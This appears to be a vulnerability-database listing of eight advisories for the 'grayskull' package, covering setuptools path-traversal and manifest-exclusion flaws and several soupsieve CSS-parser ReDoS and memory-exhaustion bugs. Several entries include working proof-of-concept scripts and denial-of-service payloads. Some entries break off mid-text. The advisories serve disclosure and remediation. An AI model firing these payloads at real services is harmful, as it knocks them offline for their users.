Threats affecting pkg:brew/grayskull
8 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Low | 1.0 | Low1.0GCVE Database ### Summary On Windows, attacker-controlled content in a wheel's `.dist-info/namespace_packages.txt` can cause setuptools' legacy wheel installation path to create an `__init__.py` outside the requested `destination_eggdir`. The attacker can influence the destination path, but not the contents of the created file. ### Details Tested setuptools commit: `6ead555c5fb29bc57fe6105b1bffc163f56fd558` Relevant source: `setuptools/wheel.py` SHA-256: `359b7e0d5dd8c3135653abe08a8ed5dc0352eadfd7df22cb5e2b5303b7c3cafd` The relevant call path is: `Wheel(wheel_path).install_as_egg(destination)` → `_install_as_egg` → `_convert_metadata` → `_fix_namespace_packages` A wheel can provide attacker-controlled content in: `<distribution>.dist-info/namespace_packages.txt` The namespace value is eventually used approximately as: ```python mod_dir = os.path.join(destination_eggdir, *mod.split('.')) mod_init = os.path.join(mod_dir, '__init__.py') If mod is a Windows drive-qualified absolute path containing no dots, mod.split('.') preserves it as a single component. On Windows, os.path.join(destination_eggdir, absolute_component) discards the original base directory and resolves to the attacker-supplied absolute path. The existing wheel filename and ZIP traversal checks do not validate this metadata value before it is subsequently interpreted as a filesystem path. ```markdown ### PoC The reproduction was performed entirely inside a disposable temporary directory. Layout: ```text sandbox/ destination/ outside/ input/ canary.txt ``` A synthetic wheel was created containing: `demo_pkg-1.0.dist-info/namespace_packages.txt` whose content was the absolute path of: `sandbox\outside` The real acquired setuptools implementation was then invoked: ```python setuptools.wheel.Wheel(synthetic_wheel).install_as_egg( sandbox_destination ) ``` The operation completed without exception. Expected metadata was created under: `sandbox\destination\EGG-INFO` but setuptools also created: `sandbox\outside\__init__.py` The file did not exist before execution. Its contents were: ```python __import__('pkg_resources').declare_namespace(__name__) ``` The unrelated canary remained byte-identical. The sandbox was deleted after recording the evidence. ``` ### Impact A crafted wheel can cause setuptools to create a fixed-content `__init__.py` outside the intended installation directory at a filesystem path influenced by the wheel, with the permissions of the process performing the installation. The demonstrated reproduction required the target parent directory to already exist. | GCVE Database | |||
| Medium | 5.3 | EPSS 0.6% | CVE-2026-86000Soup Sieve · Polynomial-time ReDoS (O(n²)) in the `IDENTIFIER` / `VALUE` selector sub-patterns Medium5.3EPSS 0.6%GCVE DatabaseCVE-2026-86000 ## Summary soupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared `IDENTIFIER` sub-pattern (also embedded in `VALUE`, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: `(?:[classA]|ESC)+(?:[classB]|ESC)*`, where both classes match ordinary identifier characters such as `a`. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing `]`, or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the `+` group and the `*` group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes. ## Trust model (Q0) The selector string is the input. It reaches this code via `soupsieve.compile()`, `soupsieve.select/iselect/match/filter`, and — most commonly — BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`, which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected. ## Root cause (exact anchors) — `src/soupsieve/css_parser.py` ```python # lines 122-126 IDENTIFIER = fr''' (?:(?:-?(?:[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})+|--) (?:[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})*) ''' # line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern) VALUE = fr'''(?:"(?:\\(?:.|{NEWLINE})|[^\\"\r\n\f])*?"|'...'|{IDENTIFIER})''' ``` - classA `[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]` excludes digits (0x30-0x39); classB `[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]` allows digits. The intent is "first char not a digit, remaining chars may be digits." - Both classes match ordinary letters (e.g. `a` = 0x61). The construct is therefore effectively `(?:C)+(?:C)*` over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match. The quadratic only manifests when the overall match must fail. `IDENTIFIER` matched greedily on `"a"*n` succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (`IDENTIFIER + "$"` against `"a"*n + "!"`) reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling `compile("[a=" + "a"*4000)` shows only 12 `re.match` calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead). ## Reproduction environment (discipline #12 — published artifact) - git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_compile.py`. - Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_compile.py` → same O(n²) (evidence: `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`). - Python 3.11.15 and 3.14.6 both reproduce. ## PoC (`poc/poc_redos_compile.py`) ```python import sys, time sys.path.insert(0, ".") import soupsieve as sv def compile_time(sel): t0 = time.perf_counter() try: sv.compile(sel) status = "ok" except Exception as e: status = type(e).__name__ return (time.perf_counter() - t0), status print(f"soupsieve {sv.__version__}\n") print("Payload A: '[a=' + 'a'*n (unterminated attribute value)") for n in (1000, 2000, 4000, 8000): dt, st = compile_time("[a=" + "a" * n) print(f" n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms [{st}]") print("\nPayload B: 'a'*n + '!' (identifier run + invalid trailing char)") for n in (2000, 4000, 8000, 16000): dt, st = compile_time("a" * n + "!") print(f" n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms [{st}]") payload = "[a=" + "a" * 12000 dt, st = compile_time(payload) print(f"\n[+] Single call: compile('[a=' + 'a'*12000) (len={len(payload)})") print(f"[+] wall time = {dt:.2f} s [{st}]") ``` End-to-end note: `bs4.BeautifulSoup(html).select(payload)` reaches the same `compile()` path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: `soup.select("[a=" + "a"*6000)` took ~5.0 s for one call (evidence: `poc/evidence_bs4_select_PUBLISHED_2.8.4.log`). ## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`) ``` soupsieve 2.9 Payload A: '[a=' + 'a'*n (unterminated attribute value) n=1000 len=1003 214.8 ms [SelectorSyntaxError] n=2000 len=2003 504.7 ms [SelectorSyntaxError] n=4000 len=4003 2031.9 ms [SelectorSyntaxError] n=8000 len=8003 8091.3 ms [SelectorSyntaxError] Payload B: 'a'*n + '!' (identifier run + invalid trailing char) n=20 | GCVE Database | ||
| Medium | 5.3 | EPSS 0.6% | CVE-2026-85999grayskull · Soup Sieve: Polynomial-time ReDoS (O(n²)) Medium5.3EPSS 0.6%GCVE DatabaseCVE-2026-85999 ## Summary Before tokenizing, `selector_iter` trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with `.search()`. The trailing one, `RE_WS_END = re.compile(r'{WSC}*$')`, is anchored only at the end (`$`), not the start. Because `.search()` retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail `$`, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, `a` + `" "*n` + `b` — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU. ## Trust model (Q0) The selector string is the input, reaching this code via `soupsieve.compile()`, the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`. Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected. ## Root cause (exact anchors) — `src/soupsieve/css_parser.py` ```python # line 185-186 RE_WS_BEGIN = re.compile(fr'^{WSC}*') # anchored at start -> .search() only tries pos 0 -> linear (safe) RE_WS_END = re.compile(fr'{WSC}*$') # NOT anchored at start -> .search() tries every offset # selector_iter, lines ~1322-1326 m = RE_WS_BEGIN.search(pattern) index = m.end(0) if m else 0 m = RE_WS_END.search(pattern) # <-- O(n^2) here end = (m.start(0) - 1) if m else (len(pattern) - 1) ``` `WSC = (?:{WS}|{COMMENTS})`. For `RE_WS_END = (?:WS|COMMENTS)*$`, `.search()` walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, `(?:WS|COMMENTS)*` greedily consumes to the run's end, then `$` fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). `RE_WS_BEGIN` avoids this because `^` pins it to a single start offset. The intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored `.search()` of a `*$` pattern is the defect. ## Reproduction environment (discipline #12 — published artifact) - git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_ws_trim.py`. - Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py` → same O(n²) (evidence: `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`). - Python 3.11.15 and 3.14.6 both reproduce. ## PoC (`poc/poc_redos_ws_trim.py`) ```python import sys, time sys.path.insert(0, ".") import soupsieve as sv def ct(sel): t0 = time.perf_counter() try: sv.compile(sel); st = "ok" except Exception as e: st = type(e).__name__ return time.perf_counter() - t0, st print(f"soupsieve {sv.__version__}\n") print("VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):") for n in (2000, 4000, 8000, 16000): dt, st = ct("a" + " " * n + "b") print(f" n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms [{st}]") payload = "a" + " " * 20000 + "b" dt, st = ct(payload) print(f"\n[+] Single call: compile('a' + ' '*20000 + 'b') (len={len(payload)})") print(f"[+] wall time = {dt:.2f} s [{st}]") ``` Isolated confirmation that the cost is in `RE_WS_END.search` specifically (`poc/isolate_ws_trim.py`): `RE_WS_END` on `"div"+" "*n+">"` is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored `RE_WS_BEGIN` on `" "*n+"x"` stays linear (32000→1.5 ms). Profiling `compile` shows the entire wall time in 2 `re.Pattern.search` calls, not `.match`. ## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_ws_trim.log`) ``` soupsieve 2.9 VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace): n=2000 len=2002 112.3 ms [ok] n=4000 len=4002 411.5 ms [ok] n=8000 len=8002 1602.9 ms [ok] n=16000 len=16002 6464.1 ms [ok] VALID-looking 'a' + '/*x*/'*n + 'b' (CSS comment run): n=1000 len=5002 48.9 ms [SelectorSyntaxError] n=2000 len=10002 194.8 ms [SelectorSyntaxError] n=4000 len=20002 780.2 ms [SelectorSyntaxError] n=8000 len=40002 3145.3 ms [SelectorSyntaxError] [+] Single call: compile('a' + ' '*20000 + 'b') (len=20002) [+] wall time = 10.23 s [ok] ``` ## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`) ``` soupsieve 2.8.4 VALID selector 'a' + ' '*n + 'b': n=2000 len=2002 102.7 ms [ok] n=4000 len=4002 404.3 ms [ok] n=8000 len=8002 1618.2 ms [ok] n=16000 len=16002 6457.9 ms [ok] [+] Single call: compile('a' + ' '*20000 + 'b') wall time = 10.11 s [ok] ``` ## Impact — calibrated - Confirmed: quadrati | GCVE Database | ||
| Medium | 6.1 | EPSS 0.4% | CVE-2026-59890sdist · setuptools: MANIFEST.in exclusion bypass Medium6.1EPSS 0.4%GCVE DatabaseCVE-2026-59890 ## Summary When building a source distribution (`python -m build --sdist` / `setup.py sdist`), setuptools' `FileList` applies `MANIFEST.in` directives (`exclude`, `global-exclude`, `recursive-exclude`, `prune`) by matching a compiled glob against on-disk file names **byte-for-byte, with no Unicode normalization**. On normalization-preserving filesystems (notably macOS APFS and HFS+), a file written in NFD and a `MANIFEST.in` rule written in NFC refer to the same file but are byte-distinct, so the exclusion silently fails to match. A file the maintainer intended to exclude is then packed into the `.tar.gz` and, if published, uploaded to the public, immutable PyPI index. ## Details File names in `FileList.files` come from `os.walk` (`setuptools/_distutils/filelist.py`, `_find_all_simple`), so on APFS a file written NFD is offered to the matcher in NFD, while the `MANIFEST.in` pattern carries the author's editor form (typically NFC). The matching path performs no canonicalization: ```python # setuptools/command/egg_info.py (FileList.global_exclude) def global_exclude(self, pattern): match = translate_pattern(os.path.join('**', pattern)) # fnmatch.translate -> regex, no NFC/NFD return self._remove_files(match.match) # byte-level regex over raw os.walk names ``` A rule written NFC (`café` = `63 61 66 c3 a9`) does not match an on-disk name written NFD (`café` = `63 61 66 65 cc 81`), even though the filesystem treats the two as one file. A `unicodedata.normalize('NFD', ...)` helper exists in `setuptools/unicode_utils.py` (`decompose()`), but it is **never called in the manifest matching path**, so neither the pattern nor the walked path is normalized before matching. The only normalization in this area, `EggInfoCommand._manifest_normalize`, uses `filesys_decode` (bytes→str decode only, no NFC/NFD) and runs when writing `SOURCES.txt`, after matching has already occurred. ## Impact `MANIFEST.in` exclusions are the documented mechanism maintainers use to keep secrets, local configs, and private fixtures out of the published sdist. A non-ASCII excluded file may be published to the public, immutable PyPI index despite the rule — an irreversible disclosure with no visual cue (NFC and NFD forms render identically). Exposure is filesystem-dependent and most relevant on macOS APFS/HFS+, where many maintainers build and publish. Pure-ASCII rules are unaffected. ## Proof of concept With a project containing `MANIFEST.in`: ``` global-include *.txt *.json global-exclude secret_café.txt # rule saved NFC ``` and an on-disk file `secret_café.txt` written in NFD, `python -m build --sdist` packs the secret file into the resulting `.tar.gz`, while an ASCII control file excluded by the same directive is correctly dropped — isolating the bypass to the NFC-pattern vs. NFD-name mismatch. Reproduced on macOS APFS with setuptools 82.0.1. ## Remediation Normalize both the walked path and each `MANIFEST.in` pattern to a single canonical form before matching, in both `setuptools/command/egg_info.py` (`FileList`) and the vendored `setuptools/_distutils/filelist.py`. For an exclusion list, err toward excluding more, and document that `MANIFEST.in` matching is normalization-insensitive on macOS. ## Credit Reported by Tomas Illuminati. Coordinated via CERT/CC VINCE VU#604762. | GCVE Database | ||
| High | 7.5 | EPSS 0.6% | High7.5EPSS 0.6%GCVE DatabaseCVE-2026-49477 ### Summary The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack. To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated. Any application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` is affected. ### Details **Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`"value"` or `'value'`) and unquoted identifiers. The regex contains alternation branches for: 1. Double-quoted strings: `"[^"\\]*(?:\\.[^"\\]*)*"` 2. Single-quoted strings: `'[^'\\]*(?:\\.[^'\\]*)*'` 3. Unquoted identifiers When an attribute selector contains an **unterminated quoted value** - e.g., `[a="xxxx...` (opening `"` but no closing `"`) -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string. **Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input. **Key characteristics:** - **Input size:** Only 300 bytes are needed to trigger a >3 second hang - **Amplification:** Each additional character approximately doubles the backtracking time - **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound) ### Proof of Concept ```python import time import soupsieve as sv PAYLOAD_LEN = 300 # Control: well-formed selector with terminated quote (completes instantly) well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]' start = time.perf_counter() try: sv.compile(well_formed) except Exception: pass control_time = time.perf_counter() - start print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s") # Exploit: unterminated quote triggers catastrophic regex backtracking malformed = '[a="' + ('x' * PAYLOAD_LEN) start = time.perf_counter() try: sv.compile(malformed) # WARNING: This will hang for >3 seconds except Exception: pass exploit_time = time.perf_counter() - start print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s") slowdown = exploit_time / max(control_time, 1e-9) print(f"Slowdown: {slowdown:.0f}x") # Expected output: # Well-formed selector (306 bytes): ~0.001s # Malformed selector (304 bytes): >3.0s (may need to be killed) # Slowdown: >3000x # # NOTE: On some systems the malformed selector may hang indefinitely. # Use a timeout mechanism (signal.alarm, threading.Timer) when testing. ``` **Safe testing variant with timeout:** ```python import signal import soupsieve as sv def timeout_handler(signum, frame): raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout") PAYLOAD_LEN = 300 malformed = '[a="' + ('x' * PAYLOAD_LEN) signal.signal(signal.SIGALRM, timeout_handler) signal.alarm(3) # 3-second timeout try: sv.compile(malformed) print("Selector compiled (not vulnerable)") except TimeoutError as e: print(f"VULNERABLE: {e}") except Exception as e: print(f"Other error: {e}") finally: signal.alarm(0) # Cancel the alarm ``` ### Impact **Severity: High** An attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because: 1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits 2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a="xxx...`) 3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable 4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals) | Parameter | Value | |---|---| | Input size | 300 bytes | | CPU time consumed | >3 seconds (exponential with payload length) | | Memory consumed | Negligible (CPU-only attack) | | Authentication requir | GCVE Database | ||
| High | 7.5 | EPSS 0.6% | High7.5EPSS 0.6%GCVE DatabaseCVE-2026-49476 ### Summary The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) allocates unbounded memory when compiling large comma-separated selector lists. An attacker who can supply a crafted CSS selector string to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` can cause the application to allocate hundreds of megabytes of heap memory from a relatively small input, leading to memory exhaustion and denial of service. To be completely transparent, AI tools helped surface this issue. However, it was independently reproduced and carefully validated. Researchers follow responsible disclosure practices and originally shared this report privately. A **500 KB** selector string triggers allocation of approximately **244 MB** of heap memory - a 488x— amplification ratio**. ### Details **Affected code:** `soupsieve/css_parser.py`, lines ~204, 925, 1106 The soupsieve CSS parser splits comma-separated selector lists and creates one `CSSSelector` object per list item. Each `CSSSelector` object contains parsed selector data structures including `SelectorList`, `Selector`, and associated tag/attribute/pseudo-class metadata. When a selector string such as `a,a,a,...` (with 250,000 comma-separated items) is passed to `sv.compile()`, the parser: 1. Tokenises the entire string and identifies each comma-delimited segment (line ~1106) 2. Parses each segment into a full `Selector` object with all associated metadata (line ~925) 3. Stores all parsed selectors in a `SelectorList` (line ~204) **Root cause:** No limit is enforced on the number of selectors in a comma-separated list. The parser will attempt to parse and store an arbitrary number of selectors, with each selector object consuming approximately **976 bytes** of heap memory. The total allocation scales linearly with the number of list items, but the amplification ratio (output memory / input bytes) is extremely high because each single-character selector like `a` expands into a complex object graph. **Attack surface:** Any application that passes user-supplied CSS selectors to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()`. ### Proof of Concept ```python import tracemalloc import soupsieve as sv tracemalloc.start() # Build a 500 KB selector string: "a,a,a,...,a" (250,000 items) count = 250_000 selector = ",".join("a" for _ in range(count)) print(f"Selector string size: {len(selector):,} bytes ({len(selector) / 1024:.0f} KB)") # Compile the selector — this allocates ~244 MB compiled = sv.compile(selector) current, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"Compiled selector count: {len(compiled.selectors):,}") print(f"Current memory: {current / 1024 / 1024:.1f} MB") print(f"Peak memory: {peak / 1024 / 1024:.1f} MB") print(f"Amplification ratio: {peak / len(selector):.0f}x") # Expected output: # Selector string size: 499,999 bytes (488 KB) # Compiled selector count: 250,000 # Current memory: ~244 MB # Peak memory: ~244 MB # Amplification ratio: ~488x ``` ### Impact **Severity: High** An attacker can exhaust available memory on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. This can cause: - **OOM kills** in containerised deployments (Kubernetes pods, Docker containers) with memory limits - **Swap thrashing** on bare-metal servers, degrading performance for all co-located processes - **Process termination** via Python's `MemoryError` exception if the system runs out of addressable memory | Parameter | Value | |---|---| | Input size | ~500 KB selector string | | Memory allocated | ~244 MB | | Amplification ratio | ~488× | | Per-object overhead | ~976 bytes per selector | | Authentication required | None | | User interaction required | None | **Scalability of attack:** The memory allocation scales linearly - doubling the selector count doubles memory usage. An attacker can tune the payload to exactly exhaust a target's memory limits. Multiple concurrent requests multiply the effect. **Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application accepting CSS selectors from users (e.g., web scraping APIs, content filtering tools, CMS preview features) is potentially affected. --- ### Credit Discovered by a security research team from the University of Sydney, focused on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/ | GCVE Database | ||
| High | 8.7 | EPSS 1.6% | CVE-2025-47273Grayskull: setuptools has a path traversal vulnerability in PackageIndex.download that leads to Arbitrary File Write High8.7EPSS 1.6%GCVE DatabaseCVE-2025-47273 ### Summary A path traversal vulnerability in `PackageIndex` was fixed in setuptools version 78.1.1 ### Details ``` def _download_url(self, url, tmpdir): # Determine download filename # name, _fragment = egg_info_for_url(url) if name: while '..' in name: name = name.replace('..', '.').replace('\\', '_') else: name = "__downloaded__" # default if URL has no path contents if name.endswith('.[egg.zip](http://egg.zip/)'): name = name[:-4] # strip the extra .zip before download --> filename = os.path.join(tmpdir, name) ``` Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88 `os.path.join()` discards the first argument `tmpdir` if the second begins with a slash or drive letter. `name` is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient. ### Risk Assessment As easy_install and package_index are deprecated, the exploitation surface is reduced. However, it seems this could be exploited in a similar fashion like https://github.com/advisories/GHSA-r9hx-vwmv-q579, and as described by POC 4 in https://github.com/advisories/GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index. ### Impact An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context. ### References https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 https://github.com/pypa/setuptools/issues/4946 | GCVE Database | ||
| High | 8.8 | EPSS 1.9% | High8.8EPSS 1.9%GCVE DatabaseCVE-2024-6345 A vulnerability in the `package_index` module of pypa/setuptools versions up to 69.1.1 allows for remote code execution via its download functions. These functions, which are used to download packages from URLs provided by users or retrieved from package index servers, are susceptible to code injection. If these functions are exposed to user-controlled inputs, such as package URLs, they can execute arbitrary commands on the system. The issue is fixed in version 70.0. | GCVE Database |
Page 1 of 1